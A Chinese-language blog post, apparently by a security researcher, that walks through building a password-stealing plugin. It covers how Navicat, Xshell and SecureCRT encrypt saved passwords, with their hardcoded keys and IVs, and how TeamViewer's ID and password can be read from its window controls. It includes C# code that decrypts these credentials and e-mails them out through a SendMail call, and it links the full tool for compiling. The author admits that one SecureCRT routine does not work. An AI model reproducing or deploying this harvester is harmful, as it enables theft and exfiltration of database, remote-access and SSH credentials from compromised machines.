在編寫之前我需要介紹該插件的幾個詳細功能。
一、Navicat密碼獲取
Navicat密碼是經過Blowfish算法加密后將密文存放在注冊表中
獲取Navicat密碼就得先介紹Blowfish算法:
BlowFish算法用來加密64Bit長度的字符串。
BlowFish算法使用兩個“盒”——ungignedlongpbox[18]和unsignedlongsbox[4,256]。
BlowFish算法中,有一個核心加密函數:BF_En(后文詳細介紹)。該函數輸入64位信息,運算后,以64位密文的形式輸出。
而Navicat加密密碼一般有如下幾個步驟:
1.生成密匙
在Navicat11中是使用SHA-1算法生成160位密鑰,對“3DC5CA39”取其SHA-1摘要
byte[] Key = { 0x42, 0xCE, 0xB2, 0x71, 0xA5, 0xE4, 0x58, 0xB7, 0x4A, 0xEA, 0x93, 0x94, 0x79, 0x22, 0x35, 0x43, 0x91, 0x87, 0x33, 0x40 };
這樣便得到BlowFish算法中的密匙。
2.獲得IV初始向量
之前介紹過Blowfish加密是64Bit長度的字符串,也就是8個字節,所以Navicat 用 0xFF 填充一個8字節長的塊,然后利用上面提到的 Key 進行 Blowfish 加密,得到8字節長的初始向量(IV)
IV大致如下:
byte[] IV = { 0xD9, 0xC7, 0xC3, 0xC8, 0x87, 0x0D, 0x64, 0xBD };
3.加密原始密碼
Navicat 使用管道來加密 rawPass 字符串。管道如下所示:
只有當最后一個明文塊不是8字節長時,才能執行上圖中顯示的最后一步。
而在Navicat12中,加密算法采用的是AES128/CBC/PKCS7
而key和IV是
AesServiceProvider.Key = Encoding.UTF8.GetBytes("libcckeylibcckey"); AesServiceProvider.IV = Encoding.UTF8.GetBytes("libcciv libcciv ");
我用HyperSine研究員現成的代碼來改進:https://github.com/HyperSine/how-does-navicat-encrypt-password/tree/master/csharp
Navicat的解密大致如上圖所示,我在代碼中添加了一個發件功能
運行成果:
二、TeamView密碼獲取
獲取的方法沒有別的,只能讀取句柄,然后枚舉指定父窗口的子窗口的字符串
代碼如下:
public static void TeamViewPwd() { IntPtr intPtr = FindWindow(null, "TeamViewer"); if (intPtr == IntPtr.Zero) { Console.WriteLine("沒找到TeamViewer進程或使用了修改版本"); return; } EnumChildProc enumFunc = EnumFunc; EnumChildWindows(intPtr, enumFunc, IntPtr.Zero); foreach (WindowInfo wnd in wndList) { if (!string.IsNullOrEmpty(wnd.szWindowName)) { if (wnd.szWindowName.Equals("您的ID") || wnd.szWindowName.Equals("密碼") || wnd.szWindowName.Equals("Your ID") || wnd.szWindowName.Equals("Password")) { int index = wndList.IndexOf(wnd); Console.WriteLine(wnd.szWindowName + ":" + wndList[index + 1].szWindowName); } } } } public static bool EnumFunc(IntPtr hWnd, IntPtr lParam) { StringBuilder stringBuilder = new StringBuilder(256); GetClassNameW(hWnd, stringBuilder, stringBuilder.Capacity); if (stringBuilder.ToString() == "Edit" || stringBuilder.ToString() == "Static") { WindowInfo item = default(WindowInfo); item.hWnd = hWnd; item.szClassName = stringBuilder.ToString(); if (item.szClassName == "Edit") { StringBuilder stringBuilder2 = new StringBuilder(256); SendMessage(hWnd, 13, 256, stringBuilder2); item.szWindowName = stringBuilder2.ToString(); } else { GetWindowTextW(hWnd, stringBuilder, stringBuilder.Capacity); item.szWindowName = stringBuilder.ToString(); } wndList.Add(item); } return true; }
三、Xshell產品密碼獲取
Xmanager官方給出在5.1版本之后,使用的是RC4和SHA256
Xshell uses RC4 with SHA256
- Xshell < 5.1 版本
Xshell < 5.1 版本采用以字符串“!X@s#h$e%l^l&”的MD5摘要作為作為 RC4 加密算法中的密鑰,而Xftp則是以“!X@s#c$e%l^l&”的MD5作為密匙
- Xshell = 5.1和5.2 版本
以當前的用戶賬戶的SID的SHA256摘要分為32字節的數組作為密鑰,進行RC4加密
可以通過"whoami /user"命令查看當前賬戶SID
則該SID的SHA256摘要就是:
87842e5d2b6a2dbb4272d15c63732ddb76b282dc1f6237341bd0bf4745c854f4
- Xshell > 5.2 版本
5.2之后的版本采用的是“user+SID”的組合
則明文是
DELLS-1-5-21-146989610-2346324170-1142363407-1002
如果5.1版本之后設置了Master Key主密碼的情況下,則以主密碼的SHA-256摘要作為 RC4 加密中使用的密鑰
但是有個重要的原因,就是域用戶的SID和工作組的SID不同,導致加密所使用的Key不同。
這里我請了@PpBibo幫我測試了下環境
給出的解決方案是:獲取創建該Session會話文件的用戶,以及對應用戶的SID
運行后結果如圖:
如果session是使用的私鑰,則會解密為"null"
雖然能夠成功輸出了,但是還有一個重點問題沒有解決!那就是除了Session在默認路徑下,極個別的Xshell的Session目錄是在安裝目錄的\log\Xshell\Sessions路徑下
默認路徑:
以我的本地為例,我的Session路徑是:D:\Program Files\Xshell 6\log\Xshell\Sessions
解決方案:
雖然有點迂回,但應該是比較好的解決方案了。因為Xshell安裝的時候會默認在Start Menu目錄添加快捷方式:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Xshell 6\
所以我們只需要讀取該lnk文件的起始位置,再加上我們的相對路徑,就能知道目標機器上的Session存放路徑
public static string getlnk() { IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(@"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Xshell 6\Xagent.lnk"); return shortcut.TargetPath.Replace("Xagent.exe", ""); }
有了路徑之后跟上述思路一樣,讀取目錄中的xsh文件
四、 SecureCRT密碼獲取
首先SecureCRT的秘密跟Xshell的一樣,默認將路徑存放在%APPDATA%\VanDyke\Config\Sessions\路徑下。而在SecureCRT 7.3.3版本以下,存放位"Password"字段,而在7.3.3以上則存放為"Password V2"字段。
當然,在不同的字段中也有着不同的加解密算法
- Password字段
該字段中使用的是兩個Blowfish-CBC密碼:cipher1和cipher2
//cipher1 uint8_t Key1[16] = { 0x24, 0xa6, 0x3d, 0xde, 0x5b, 0xd3, 0xb3, 0x82, 0x9c, 0x7e, 0x06, 0xf4, 0x08, 0x16, 0xaa, 0x07 } //cipher2 uint8_t Key2[16] = { 0x5f, 0xb0, 0x45, 0xa2, 0x94, 0x17, 0xd9, 0x16, 0xc6, 0xc6, 0xa2, 0xff, 0x06, 0x41, 0x82, 0xb7 }
而兩個cipher所使用的IV都是:
uint8_t IV[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }
再附上GitHub-https://github.com/HyperSine/how-does-SecureCRT-encrypt-password上的解密原理圖:
這里原本是想拿上面Navicat的BlowFish現成的代碼來寫,發現好像有點問題(BlowFish加密原理是真整不明白~~)就在網上搜了一串開源的庫類,我在項目中命名為BlowFishC
照着流程圖的來先解密Key1去頭尾4字節再Key2
public static string PasswordCRT(String str) { byte[] ciphered_bytes = fromhex(str); if (ciphered_bytes.Length <= 8) { return null; } BlowFishC algo = new BlowFishC(Key1); algo.IV = IV; byte[] decryptedTxt = algo.Decrypt_CBC(ciphered_bytes); decryptedTxt = decryptedTxt.Skip(4).Take(decryptedTxt.Length - 8).ToArray(); algo = new BlowFishC(Key2); algo.IV = IV; ciphered_bytes = algo.Decrypt_CBC(decryptedTxt); string ciphered = Findnull(ciphered_bytes); return ciphered; }
解密完后去掉null字符串
private static string Findnull(byte[] dec) { List<byte> ret = new List<byte>(); string str = ""; for (int i=0; i < dec.Length; i++) { if (dec[i] == 0) { if (dec[i+1] == 0) { i++; continue; } } str += (char)dec[i]; ret.Add(dec[i]); } byte[] test = ret.Where(x => x != 0).ToArray(); return System.Text.Encoding.Default.GetString(test); }
找到字段密碼:
S:"Password"=uac230fec9ceb3a23f1df712c51c556f19264e68dc544acfc //root
雖然有些亂碼,但不妨礙破解正常密碼
- Password V2字段
這個字段我覺得可能是Key值不對,我用這個Key加密之后的密文'6029dd61ef0e2358e522d8d4037f8cf3'能夠解密成功。但是用CRT的密文就提示“填充無效,無法被移除”
我還是貼上實現代碼吧~
private static byte[] Key_V2 = { 0xe3, 0xb0, 0xc4, 0x42, 0x98, 0xfc, 0x1c, 0x14, 0x9a, 0xfb, 0xf4, 0xc8, 0x99, 0x6f, 0xb9, 0x24, 0x27, 0xae, 0x41, 0xe4, 0x64, 0x9b, 0x93, 0x4c, 0xa4, 0x95, 0x99, 0x1b, 0x78, 0x52, 0xb8, 0x55 }; public static string V2CRT(string str) { byte[] IV = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; byte[] ciphered_bytes = fromhex(str); if (ciphered_bytes.Length <= 8) { return null; } return AESDecrypt(Convert.ToBase64String(ciphered_bytes), Key_V2); } private static string AESDecrypt(string decryptStr, byte[] key) { var _aes = new AesCryptoServiceProvider(); _aes.BlockSize = 128; _aes.KeySize = 256; _aes.Key = key; _aes.IV = (byte[])(object)new sbyte[16];//Encoding.UTF8.GetBytes(IV); _aes.Padding = PaddingMode.PKCS7; _aes.Mode = CipherMode.CBC; byte[] decryptBytes = System.Convert.FromBase64String(decryptStr); var _crypto = _aes.CreateDecryptor(_aes.Key, _aes.IV); byte[] decrypted = _crypto.TransformFinalBlock(decryptBytes, 0, decryptBytes.Length); _crypto.Dispose(); return Encoding.UTF8.GetString(decrypted); }
V2字段沒什么好說的,沒有復現成功,但是解密原理應該沒有錯,可能是密匙Key不對了。
如下調用就行:
public static void SecureCRTPwd() { StringBuilder strbuf = new StringBuilder(); strbuf.Append("[*] Password:" + SecureCRTCipher.PasswordCRT("ac230fec9ceb3a23f1df712c51c556f19264e68dc544acfc")); strbuf.Append(Environment.NewLine); strbuf.Append("[*] Password V2:" + SecureCRTCipher.V2CRT("6029dd61ef0e2358e522d8d4037f8cf3")); strbuf.Append(Environment.NewLine); SendMail.Send(strbuf); }
代碼我就直接上傳到Github上:https://github.com/sf197/GetPwd
需要的自行編譯~
Reference:
[1].https://www.cnblogs.com/luconsole/articles/3895295.html
[2].https://github.com/HyperSine/how-does-SecureCRT-encrypt-password